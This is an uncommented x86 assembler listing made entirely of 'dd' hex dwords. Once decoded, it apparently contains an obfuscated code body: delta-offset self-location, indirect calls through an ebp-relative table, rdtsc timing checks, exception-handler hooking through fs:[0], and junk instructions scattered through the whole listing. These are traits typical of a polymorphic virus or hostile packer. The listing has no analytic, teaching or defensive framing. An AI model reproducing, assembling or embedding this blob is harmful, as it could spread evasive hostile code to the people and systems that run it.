6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8B49E4C3h, 705399Dh dd 0BDBD8906h, 8306070Fh, 73305BDh, 840F0106h, 40Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h, 0B7F8C154h dd 5BD8330h, 3060733h, 3AB860Fh, 60F80000h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C3C35646h, 33DF3DB6h dd 0E9D0BC8Eh, 9, 0B373EB5Ah, 0A59B9510h, 0D98C660Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B7C35343h, 0E95B302Dh dd 2DB52965h, 80060720h, 9D8904E1h, 6070549h, 840FC90Ah dd 16Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 6EC35040h, 5ADD3561h, 0E9422E3Ah, 12h, 0B0716DEFh dd 21431E1h, 0C8DC49AEh, 901AD84Dh, 0BD8B0585h, 607203Dh dd 2A1D858Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 7AF27FC3h, 1197FFEDh, 4DB5897Dh dd 8B060718h, 718559Dh, 0FD853306h, 8B06071Ah, 7141D9Dh dd 8E0F5006h, 0 dd 66240489h, 9EFBE381h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0C1AE4AC3h, 14118589h dd 3E680607h, 0BF6C2228h, 0A735FCDh, 0C1243481h, 6A6C3D2Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 9F09C350h, 3DFB2236h, 0C151BF32h, 95FF2AC8h dd 60709F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 51C35242h, 1860Fh, 0B7F80000h, 0DF858981h, 6A060AADh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8100C350h, 6BCAC6F7h, 178E914h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 8C7CB2C3h, 0B3B9F20Ch, 0F9525076h, 858B5F5Fh, 60AADD7h dd 2AE18589h, 0C7F80607h, 1800h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C885156Dh dd 12E9h, 90214A00h, 0F7A73BE2h, 0F3265962h, 840072D2h dd 338819F7h, 706E59Dh, 0DBB58B06h, 8B060AADh, 72C299Dh dd 0F1F78106h, 8B4FD288h, 72BCD85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0D78A12C9h dd 7475FF9Bh, 81667D4Ch, 893F97D7h, 0AFEB8006h, 2A1D858Bh dd 66600607h, 3FBEF78Bh, 613D9020h, 0E9044689h, 13h, 3E9A7157h dd 0FDCC8244h, 6AAABB58h, 0D0361D6Bh, 500F61C8h, 28A0Fh dd 0FA8B0000h, 8B243489h, 0D7B5FFF9h, 6A060AADh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0F9C1C352h, 3719D03h, 98680607h, 6045EE57h, 0FB8B6660h dd 0B3615952h, 3481616Ah, 0F1546724h, 31BD8B45h, 8D06071Ah dd 0AADDF85h, 0FB8B6606h, 24048950h, 0FF09DB80h, 709F995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 2AD753BBh, 1553219Fh, 6A61BA4Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8B15C357h, 72C31BDh, 585C706h, 3060733h, 8B000000h dd 7188D9Dh, 0DFBD8306h, 60AADh, 3F840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 6171CCC3h, 0C13A4FD6h, 33E9h, 13E900h, 20D00000h, 206EA06Eh dd 87E5475Ch, 0C7A55F7Dh, 0A1622F02h, 0C30508Ah, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0BD296060h, 6072D55h dd 2D65B589h, 0E9610607h, 0Fh, 0D25DD467h, 1C018A8Ch, 59CD984Eh dd 611AA3FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 7EC35141h, 8A8AD75h, 894D58FFh, 71061BDh, 5BD8306h dd 3060733h, 35A850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 36B090C3h, 57B237CDh dd 5E9h, 190FB300h, 895B1730h, 725ED85h, 0DFBD8306h, 60AADh dd 31A840Fh, 0FB8B0000h, 41D9D8Bh, 0B5FF0607h, 60AADDFh dd 2371BD8Bh, 95FF0607h, 6072129h, 2DBD8BF9h, 8B060714h dd 0AADD3B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0DC24C466h, 22188F95h, 0FA8B5EFDh dd 106C7h, 89600001h, 70BED9Dh, 0E5B58B06h, 6106072Fh dd 24348950h, 19219589h, 0DF810607h, 45990E76h, 0ADDFB5FFh dd 8166060Ah, 0FF37D0F7h, 7025195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 524FFEA1h dd 66914C68h, 0A206DB81h, 0ADD3B58Bh, 6A060Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 6682AAC3h, 858BF88Bh, 60712A1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0CC35242h, 1DF14EA7h, 8B4FCCB4h dd 71F6DBDh, 0C4868906h, 89000000h, 7220995h, 0D9958B06h dd 6606071Ah, 0C283DA8Bh, 99958904h, 89060702h, 6A2050h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 67D933C3h, 858912ADh, 6072661h, 0C170858Dh, 0C781060Ah dd 4FCF6A97h, 0B88689h, 0F98B0000h, 25DD8589h, 6A0607h dd 0C800Fh, 850F0000h, 6, 2B59D8Bh, 0B5FF0607h, 60AADDFh dd 79195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0ABBD20C3h, 0E9C3F8C7h, 668666DDh dd 5046E2BBh, 0C171B3BBh, 2434892Ch, 1A598589h, 0B5FF0607h dd 60AADDFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 67C35343h, 0E1BD89C5h, 0FF06070Dh, 72D0995h, 40BF6606h dd 0AD33BF60h, 0BD832F12h, 60714C1h, 3F840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0FCE8C351h, 50605650h, 5A310F52h, 0CE858h dd 13C60000h, 0AF07C51Bh, 0B278920Eh, 615ABE05h, 2434895Fh dd 0B5FF55B7h, 60AADDFh, 0CE9h, 5805000h, 5644344h, 62FE0A70h dd 9595FFDAh, 6A06071Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 3B68C353h, 0E8603DD5h dd 0Fh, 427B77ADh, 0AD628342h, 0FE1D63DFh, 5A3DC193h, 0DFB5FF61h dd 23060AADh, 71FA59Dh, 0BE906h, 80920000h, 0B6AA8F37h dd 507D1E96h, 0C195FFC6h, 8B060702h, 7091D9Dh, 0DBC38106h dd 8342D6ADh, 72865BDh, 840F0206h, 40h, 0C05BD09h, 840F0607h dd 6, 1F0D9589h, 858B0607h, 6070E69h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0A1C35141h, 5DBD8BA7h, 8B06072Fh dd 0C6FAh, 2A5185C7h, 607h, 85890000h, 6070209h, 0FFF46BE9h dd 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 29D72894h, 72A530D7h, 0BD8BC18Bh, 6070DC1h dd 18B1858Dh, 9D890607h, 60705C1h, 52505750h, 5B51310Fh dd 895B585Ah, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E98388C3h, 14h, 4154294h, 8C79CD38h dd 820977FBh, 0C2CC99Fh, 8E38EF12h, 0B70F006Ah, 6A006AF9h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 297CC356h, 7D92055Eh, 0F577E3Ch, 8D5FDBB7h dd 0BEB2485h, 6E806h, 0DFB50000h, 0B2AA33BBh, 8E52F781h dd 835F37FAh, 509005C0h, 6A90505Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0F991C355h dd 0BEF2FBE9h, 0C3800BA3h, 6ADA8A40h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 68CB9446h, 0A04F9C4Fh, 1A59D29h, 6A0607h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 1DC35040h, 0E998F548h dd 0Fh, 0ABACB5CCh, 0B12FE754h, 8D9C552Bh, 0FF78059Ch dd 71E3D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 630E6EA6h, 89B21A42h, 718DD8Dh, 0D58D8D06h dd 0E8060A93h, 0Eh, 38BA3E98h, 0B530C7B3h, 0B6B160A8h dd 9D8BEA63h, 6070F29h, 6AD1FF5Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 2700C356h dd 18B59589h, 0BD830607h, 60719BDh, 74850F01h, 0F000000h dd 288h, 6AB2B300h, 50006A02h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 56B9852Ch, 309BD8Bh, 905B0607h dd 6050A4B3h, 61F98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0E9490A8Dh, 11h, 1C9C4EF8h dd 1961EADBh, 51652842h, 0FE220B24h, 9195FF4Ah, 0E9060707h dd 0D4Bh, 0E8h, 0ED815D00h, 60BEB2Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0CDC35343h, 0DB31BF66h, 0DAC78166h dd 3F858DA6h, 6A060A84h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 3A3FC350h, 0EE9D1h dd 22D0000h, 0F3C8B28Dh, 5D1B24Ch, 1183871Bh, 1EBBF50h dd 4894F7Fh, 919D8924h, 64060700h, 35FFh, 85090000h, 6070DFDh dd 258964h, 80000000h, 8D29D6CBh, 60711C9h, 2F5985FFh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 1C084FC3h, 0BF668A87h, 0FF6A90B4h, 11E9h dd 6190B600h, 43F29EC7h, 7E27A3FAh, 2E300A7h, 0B5FF4333h dd 6072D31h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 84C35343h, 223E5005h, 0DEBFD873h, 0FF0CD0D8h, 72B8995h dd 13FE906h, 9E90000h, 0C7000000h, 798A748Bh, 0E130B43h dd 0BD8B00B0h, 60706C9h, 0BD8B70E6h, 6072C79h, 0DF98D89h dd 71E40607h, 3CF9B70Fh, 0E830F61h, 89000001h, 720519Dh dd 0C8B60F06h, 6BAh, 0B9666000h, 8F0F27B0h, 6, 860Fh, 8B610000h dd 0F88B60C1h, 71C08166h, 0E8C16122h, 0BE904h, 0A62F0000h dd 81D3862Fh, 3671BBD5h, 0E2F7661Ch, 0AB1BD33h, 0C82B0607h dd 0C5DBD89h, 0D18B0607h, 68C0Fh, 0BD010000h, 60721A1h dd 0ACE9h, 38DB8000h, 4C44858Bh, 9D0B5F4Ch, 6071005h, 8307C083h dd 10E800C0h, 3A000000h, 20D1A785h, 0AE6B6D99h, 0C5AE8610h dd 891538FCh, 7131195h, 0D03B5B06h, 0E830Fh, 8B660000h dd 6BE9F9h, 9D8B0000h, 6070B65h, 0FFFF8D8Bh, 7E9FFFFh dd 0BC000000h, 360C10D4h, 870F2281h, 6, 6E98529h, 0E1830607h dd 3E840F01h, 83000000h, 0FFFFFFA5h, 8589FEFFh, 6070CC5h dd 4C449589h, 12E85F4Ch, 0F4000000h, 7F463877h, 0F41F6E79h dd 57648579h, 0AEFBC577h, 0BD8B6020h, 60727F5h, 12699D29h dd 5B610607h, 0E9h, 0FEB58D00h, 8B060B6Ch, 713C1BDh, 0B3006A06h dd 6995FFCCh, 6A06070Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0DB56C352h, 0B94615F4h dd 0EB8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 7AC35646h, 281FF282h, 83C463B8h, 8531FCE1h, 6072095h dd 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0C75829BEh, 0B8DFh, 7E90000h, 0D6000000h dd 0AB3CF8FAh, 0D22B1944h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0D4C35141h, 0C233AD0Fh, 0D003E8D1h, 7504E983h dd 31B529F4h, 8B060728h, 711A99Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 4EF80CD2h dd 0DA8B1C9Ch, 880Dh, 0BDBD0300h, 8B060705h, 71AD995h dd 0AE906h, 75880000h, 882A3617h, 0AA02F8A0h, 101D8D8Bh dd 0B5890607h, 60720BDh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0B5895818h, 6072291h, 0D38104B3h, 28D1ACABh dd 8D0F60h, 8B000000h, 7234985h, 0BD836106h, 6070E29h dd 21840F00h, 29000000h, 711E59Dh, 0B806h, 0BD030000h dd 6071881h, 4B9B8D8Dh, 4CB30607h, 0BD89E1FFh, 60701EDh dd 3305BD83h, 0F000607h, 45684h, 83FC8A00h, 73305BDh, 840F0106h dd 462h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0AAC35040h, 0BD8348D9h, 6073305h, 1860F03h, 8B000004h dd 71911BDh, 0B5015106h, 60706ADh, 6A605Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 40BF68C3h dd 4A2144F3h, 0D98C66EDh, 0E1B52B60h, 0E8060713h, 6, 7985EC36h dd 5E538A14h, 0E180615Ah, 26BF6604h, 0FC90AB8h, 14584h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 51BD891Fh, 8B060726h, 72A1D85h, 0ED9D0B06h dd 33060732h, 71AFD85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8923DB03h, 7064D9Dh, 66579006h dd 5F4824BBh, 2890F50h, 8A000000h, 575090DDh, 819B589h dd 5F5B0607h, 0B1BD0357h, 5F060713h, 22B3006Ah, 19519509h dd 4A680607h, 0E886252Eh, 0Dh, 0BB8AEE0Ch, 23ED56FCh, 3B1F7B92h dd 0F525042h, 4CB2BF31h, 585A41F8h, 2404815Fh, 79F9D5B5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 19C35141h dd 0EDDE2359h, 0E652F1Bh, 6820Fh, 0BD2B0000h, 60703E9h dd 8B66DE8Ah, 0F995FFD9h, 0F060709h, 2085h, 14E800h, 0F880000h dd 6599A8A4h, 0EFE27CC8h, 0D18ABC08h, 0E0CEE74Dh, 820F3D36h dd 0 dd 0DF85895Bh, 89060AADh, 722D98Dh, 224E906h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0E09FA3C3h, 0C65BD33h, 858B0607h, 60AADD7h, 0CE8h, 59330000h dd 0E1B1C535h, 530B03E0h, 0D1BD0327h, 5B06071Ah, 1800C7h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0C3386AC3h, 3F52A4A9h, 0DBB58B7Ch, 0F060AADh dd 887h, 0EB815700h, 677C654Bh, 0CD858B5Bh, 6A06072Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0FC40C350h, 816650E5h, 5F2E1BCBh, 6A0689h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 48E2BC3h, 2A1D858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 7A4372C3h, 0FF9E2AF4h dd 976641Eh, 722D195h, 0A5BD0306h, 89060723h, 8D010446h dd 6071F9Dh, 50DE8B96h, 6696D98Bh, 0FF8D3DBFh, 0AADD7B5h dd 699D8B06h, 0E8060703h, 4, 1F03FFh, 14E860h, 1FB00000h dd 57496BC6h, 14D7ED82h, 1D5EB118h, 0F80B2A8Bh, 6160F147h dd 9A4FB859h, 506141BDh, 310F5250h, 5AF88B66h, 24448B58h dd 0E9008B04h, 9, 5F12DCABh, 254BCE60h, 24448909h, 0BF525004h dd 7F7926Eh, 6660310Fh, 5A61DE8Bh, 6A5858h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B2374C3h dd 0CE9h, 0FBA3EE00h, 80DBC2DCh, 0F47B71E6h, 38C0F75h dd 0F000000h, 858DFAB7h, 60AADDFh, 0BE8h, 0AB183E00h, 6408C90h dd 0D0D7C928h, 114D9D8Bh, 905F0607h, 0FA8B5250h, 8B66310Fh dd 50585ADEh, 5690D98Bh, 0DD19D03h, 0FF5B0607h, 709F995h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 567D1CBEh, 0B11ADB6Ch, 659D0953h, 5F060705h dd 9122C781h, 0F6173A0h, 481h, 9BBB6600h, 1858961h, 0C7060707h dd 7330585h, 306h, 0A9BD8B00h, 8306070Ah, 0AADDFBDh, 840F0006h dd 34h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh dd 9CC35646h, 0A4533AB1h, 2911992Ch, 70685BDh, 21E906h dd 0B5890000h, 60704B1h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 49C7C357h, 0DA8B662Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 97C35545h dd 0F3801222h, 319D898Fh, 83060707h, 73305BDh, 850F0306h dd 456h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0C1C35545h, 0DFBD8333h, 60AADh, 42C840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 89B2C7C3h, 7283DB5h, 0DFB5FF06h, 6A060AADh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 8040C356h, 5810F95h, 66000000h, 8F77CB81h, 212995FFh dd 0BD010607h, 6072C61h, 0B7DB529h, 0B58B0607h, 60AADD3h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C8C35343h dd 8654FC81h, 1B4108FAh, 106C7F9h, 80000100h, 5050BCD7h dd 0EE852h, 0CA930000h, 36C690C5h, 6764958Bh, 8D3CDA0Eh dd 4494BF66h, 60310F5Fh, 5B0DBA66h, 89585A61h, 6A2434h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 8774C6C3h, 0AB67F792h, 12F9BD89h, 12B70607h, 0ADDFB5FFh dd 830F060Ah, 6, 11E5BD03h, 8D890607h, 6071DA5h, 25195FFh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 2BAF58C3h, 71F259Dh, 0D3B58B06h, 6A060AADh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 2FEEC350h, 5DBD23h, 12E90607h, 0BF000000h dd 8FD489FFh, 64068461h, 9ABBE8DEh, 1850440h, 0A1858B45h dd 66060712h, 0D965E381h, 0C48689h, 9D290000h, 6071019h dd 296DBD8Bh, 958B0607h, 6071AD9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 9FC35141h, 60FBBF0Fh, 81BD8B60h dd 0F06072Dh, 0F61D0BFh, 8361F3BFh, 0BD8B04C2h, 60719B9h dd 0EA5ABB66h, 6A205089h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 7F49C350h, 3EEB702h dd 787820BFh, 70858D0Bh, 6A060AC1h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 874DC355h dd 6E8h, 0DB640900h, 0E9F04AD2h, 14h, 818377A5h, 7AA451E5h dd 7808FBAFh, 0F415B268h, 827294FFh, 0B886895Fh, 0E8000000h dd 11h, 5C0D3FA9h, 0DF7E0FE2h, 0ADC1230Ah, 0A458C0FCh dd 6C14BB53h, 895F736Dh, 72F0D9Dh, 66006A06h, 0FF7AC6BFh dd 0AADDFB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 45C10BD9h, 8779D693h, 0A3E8DF81h dd 95FF4883h, 6070791h, 9614CB80h, 6050FE8Bh, 6E8CB8Bh dd 77000000h, 0F8AA31FFh, 0EE9CCh, 68C30000h, 5B165B57h dd 977028C7h, 0C63E0C98h, 0E996615Ah, 0Ch, 8CD25DD4h, 4E1C018Ah dd 0FF59CD98h, 0ADDFB5FFh, 8589060Ah, 6071DDDh, 2D0995FFh dd 0B5290607h, 6070BEDh, 1EDDB589h, 0BD830607h, 60714C1h dd 34840F00h, 89000000h, 722BD8Dh, 0D88A5006h, 6A243489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 5467C350h, 4E331F03h, 0CD9D8BA5h, 0FF060725h dd 0AADDFB5h, 95FFF906h, 6071F95h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 86C35040h, 0C8B1BAC1h, 0DFB5FF88h dd 6A060AADh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0B814C356h, 0FE0CD82Fh, 0EFA4240Ch dd 2C195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0C107C7C3h, 0BD83BAA9h, 6072865h dd 3F840F02h, 8B000000h, 70E6985h, 68ACBB06h, 0C65E14h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 2845F40Bh, 0F6ADF1Eh, 984h, 3870F00h, 0F000000h dd 85C7FBBFh, 6072A51h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 5AC35242h dd 0ABE971C7h, 6AFFFFF3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0F760C352h, 3FCB81A5h dd 0F625D6Bh, 682h, 0A99D8B00h, 8B060708h, 25B589C1h, 8D060710h dd 718B185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0C9817FDEh, 8D895DEEh, 6072ACDh dd 5090D88Bh, 55BF6652h, 66310F25h, 5A1177BFh, 6E85058h dd 6000000h, 0E3D5397Fh, 5FE6B341h, 558D8990h, 6A06070Dh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0F92DD0C1h, 0AE8h, 598B1A00h, 58A516DDh dd 0F578C253h, 85D7805Bh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 84B322C3h, 0FAA3858Dh dd 8953060Bh, 72285B5h, 0C0835F06h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 3408579Fh dd 9D85017Eh, 90060713h, 0BE960h, 0C5C90000h, 3F75201Dh dd 0F2B6AE79h, 9050612Bh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8B570AC3h, 712119Dh dd 0D88A5F06h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0A5E1DCC3h, 0AD4FDFE9h, 0FFFA8B66h dd 71E3D95h, 870F6006h, 0 dd 1FDD9D89h, 8D610607h, 0A93D58Dh, 6850F06h, 89000000h dd 70FD59Dh, 6AD1FF06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0F77DC350h, 0BD8B3A18h dd 6072AD9h, 26459D8Bh, 0BD830607h, 60719BDh, 8B850F01h dd 0F000000h, 1782h, 9E86000h, 0E8000000h, 4FCE1C81h, 0B5419A22h dd 830F59h, 61000000h, 0E960026Ah, 10h, 0E8A65E18h, 1AF1F513h dd 8506D78Fh, 0BB096EFBh, 506119B2h, 4895B52h, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 991B0731h, 667D61A6h, 8EB0DB81h, 79195FFh, 6A0607h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 538E00C3h, 6BE9F88Bh, 0E800000Dh, 0 dd 0ADED815Dh, 51060BFAh, 0E5B5BB66h, 91BD8B5Bh, 8D06070Fh dd 0A843F85h, 65858906h, 90060723h, 50DE8B66h, 8988E2BFh dd 6A907Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 58C6FAC3h, 171D12BAh, 2365BD8Bh, 81660607h dd 6426E6CBh, 35FFh, 64FC0000h, 2589h, 9D8B0000h, 6071519h dd 2F5985FFh, 0BE90607h, 3D000000h, 176D8D1Fh, 29582B5Eh dd 0FF6A1AE2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 3CC35747h, 8C63404Fh, 79F76425h, 0C22BCF81h, 0DB815867h dd 705F4AF8h, 469B5FFh, 0BF0F0607h, 8995FFD9h, 0E906072Bh dd 148h, 4DB7BA60h, 0BB663168h, 0B061D640h, 2B70E600h dd 72D059Dh, 0F71E406h, 58Ah, 0CB816600h, 613C6E8Dh, 11E830Fh dd 5E90000h, 54000000h, 2B31AEFAh, 0FC8B60Fh, 0E8Ah, 858B6000h dd 6070A7Dh, 129D8D23h, 8B610607h, 700299Dh, 6BA06h, 0B70F0000h dd 0D9BF0FDEh, 9D29C18Bh, 6070EDDh, 0E904E8C1h, 12h, 0E10109E4h dd 0B43F5A50h, 28F816A6h, 2FEAE15Bh, 9501213Ah, 6072031h dd 1E2F766h, 71E619Dh, 0D9BF0F06h, 8B66C82Bh, 0FD18BFEh dd 84h, 6800F00h, 81000000h, 0A262C0F7h, 9AE961h, 9D8B0000h dd 60725CDh, 4C50858Bh, 8C0F4755h, 3, 83F9BF0Fh, 816607C0h dd 83C8E4EFh, 0BD8B00C0h, 60725CDh, 5A1CD781h, 0D03B1F49h dd 10830Fh, 81660000h, 0E9F337EFh, 5Ch, 1F6DBD8Bh, 8D8B0607h dd 0FFFFFFFFh, 14E9h, 0DD6E4700h, 0F706A9C5h, 1D90C27Bh dd 98F5481Dh, 66FE26DAh, 1E18321h, 2E840Fh, 5AB70000h dd 0FFFFA583h, 8BFEFFFFh, 509589FEh, 6047554Ch, 6820Fh dd 0E2810000h, 7CDD8FA4h, 5E9h, 6E406400h, 0E961F380h dd 0 dd 7BB6B58Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 8C6E94C3h, 8BF40AC6h, 72D819Dh dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0ECADC351h, 95FFC62Ah, 6070D69h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 34C35040h dd 7F681BD8h, 6810Fh, 0B5890000h, 6072211h, 10D8B9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0DA8BED8Eh, 0E911ABD7h, 10h, 503F560Eh, 0D4675A68h dd 8A8CD25Dh, 984E1C01h, 6AFCE183h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0B50BC357h dd 22AD9D8Bh, 0FFC0607h, 0B8FEBFh, 8B000000h, 702B5BDh dd 66D22B06h, 0AD7658BBh, 0E8D1C233h, 0E983D003h, 8BF47504h dd 71F159Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 13E9051Fh, 40000000h, 0EAC15688h dd 0ED08F60Fh, 74DBD695h, 0B6057ADAh, 880DDD9Fh, 89000000h dd 71EB58Dh, 0D9958B06h, 6006071Ah, 28FDBD89h, 0ACBA0607h dd 614F8190h, 101D8D8Bh, 0BF660607h, 8B508D9Dh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 6A6DC380h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 47FCC356h, 0FF728BC5h, 83CE0582h, 70E29BDh, 840F0006h dd 70h, 